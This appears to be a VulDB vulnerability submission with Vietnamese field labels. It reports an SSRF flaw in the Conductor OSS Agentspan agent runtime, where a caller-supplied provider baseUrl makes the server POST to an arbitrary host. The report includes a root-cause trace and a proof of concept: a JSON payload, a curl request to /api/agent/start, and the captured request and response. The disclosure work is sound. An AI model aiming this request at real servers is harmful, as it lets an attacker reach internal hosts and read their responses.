| tiêu đề | Conductor OSS Conductor >= 3.31.2 server-side request forgery (CWE-918) |
|---|
| Mô tả | SSRF in the Conductor Agentspan agent runtime: a caller-supplied provider `baseUrl` makes the
SSRF in the Conductor Agentspan agent runtime: a caller-supplied provider baseUrl makes the
server POST to an arbitrary host
Data flow: HTTP JSON agentConfig provider baseUrl at POST /api/agent/start ->
AgentspanAIModelProvider -> Ollama client -> POST {baseUrl}/api/chat; the internal response is
parsed as a chat completion and returned in the agent execution result
AFFECTED INTERFACES
POST /api/agent/start with an inline agentConfig whose provider baseUrl is caller-controlled;
the execution result is readable via GET /api/agent/execution/{executionId}
(AgentController.java:238).
ROOT CAUSE
1. Source: POST /api/agent/start with inline agentConfig
(agentspan/.../runtime/controller/AgentController.java:91-93 at commit ce46eac).
2. Compiler: agentspan/.../runtime/compiler/AgentCompiler.java:1350-1353 turns the inline config
into the provider task input.
3. Provider: agentspan/.../runtime/ai/AgentspanAIModelProvider.java:234-243,298-299 builds the
model client from the caller-supplied baseUrl.
4. Client: ai/src/main/java/org/conductoross/conductor/ai/providers/ollama/OllamaConfiguration.java:56-58
-> Ollama.java:125 issues POST {baseUrl}/api/chat.
5. No destination validation: unlike the A2A agent-card path (A2AService.validateAgentUrl) and the
document loader (DocumentAccessPolicy) in the same product, this client applies no
private-address / link-local / metadata check, allow-list or egress proxy.
Consequence: the caller makes the server send a request body it controls to an internal host of its
choosing and reads the parsed response back through the agent execution result.
PROOF OF CONCEPT
Baseline: commit ce46eac, server on 127.0.0.1:18080 with conductor.integrations.ai.enabled=true.
The destination is a test-local HTTP listener at 192.168.192.2:18080 (a separate container on a
test-only bridge network).
1. Start an agent with an inline provider endpoint (no Authorization header):
$ cat agent-start.json
{
"agentConfig": {
"name": "provider-test",
"description": "local provider validation",
"model": "ollama/canary-model",
"baseUrl": "http://192.168.192.2:18080",
"instructions": "Reply with the single word OK.",
"timeoutSeconds": 60
},
"prompt": "hello"
}
$ curl -s -X POST 'http://127.0.0.1:18080/api/agent/start' \
-H 'Content-Type: application/json' -d @agent-start.json
{"executionId":"48b5234f-f4c8-4729-b38c-52060656606b","agentName":"provider-test","requiredWorkers":[]}
2. What the listener received - the provider call issued by the agent runtime:
$ cat mock-requests.log
POST /api/chat HTTP/1.1 Host: 192.168.192.2:18080 User-Agent: okhttp/4.12.0
{"model":"canary-model","messages":[{"role":"system","content":"Reply with the single word OK."},
{"role":"user","content":"hello"}],"stream":false,"tools":[],"options":{"num_predict":16384}}
3. Execution result (GET /api/agent/execution/{executionId}): the listener's response was
consumed and returned to the caller:
{"executionId": "48b5234f-f4c8-4729-b38c-52060656606b", "agentName": "provider-test",
"status": "COMPLETED", "input": {"prompt": "hello"},
"output": {"result": "MOCK_OK", "finishReason": "STOP", "context": {}}}
IMPACT
See the interface and root-cause sections: an actor who satisfies the stated preconditions makes the server perform a request or operation on a destination/target of the attacker's choosing, crossing the trust boundary described above.
- Project repository: https://github.com/conductor-oss/conductor
- Security policy: `SECURITY.md` in that repository.
- **Vendor contact**: GitHub Private Vulnerability Reporting - conductor-oss/conductor
- **Status**: vendor notified 2026-09-14 through GitHub Private Vulnerability Reporting; private report https://github.com/conductor-oss/conductor/security/advisories/GHSA-wg42-5xcv-g833; not publicly disclosed; no CVE assigned
- **Duplicate check**: public advisories (NVD/OSV/GitHub) and the project issue tracker were searched before reporting; please tell us if this duplicates something already tracked internally.
|
|---|
| Người dùng | lucasg2g (UID 84737) |
|---|
| Đệ trình | 15/09/2026 09:22 (cách đây 30 ngày) |
|---|
| Kiểm duyệt | 12/10/2026 16:44 (27 days later) |
|---|
| Trạng thái | được chấp nhận |
|---|
| Mục VulDB | 416946 [conductor-oss conductor đến 3.33.0-rc10 Agentspan Agent Runtime AgentController.java nâng cao đặc quyền] |
|---|
| điểm | 17 |
|---|